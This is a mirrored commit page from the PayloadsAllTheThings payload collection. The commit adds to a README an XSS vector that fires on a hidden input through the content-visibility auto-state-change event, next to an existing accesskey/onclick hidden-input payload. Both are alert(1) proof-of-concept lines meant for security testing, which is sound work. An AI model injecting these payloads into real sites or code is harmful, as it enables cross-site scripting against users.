mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-23 21:05:27 +00:00
Update README.md
addedd contentvisibilityautostatechange_event for hidden input
This commit is contained in:
parent
37f0740d07
commit
faeee7270a
@ -295,6 +295,10 @@ e.g: 14.rs/#alert(document.domain)
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
Use CTRL+SHIFT+X to trigger the onclick event
|
||||
```
|
||||
in newer browsers : firefox-130/chrome-108
|
||||
```javascript
|
||||
<input type="hidden" oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto" >
|
||||
```
|
||||
|
||||
### XSS when payload is reflected capitalized
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user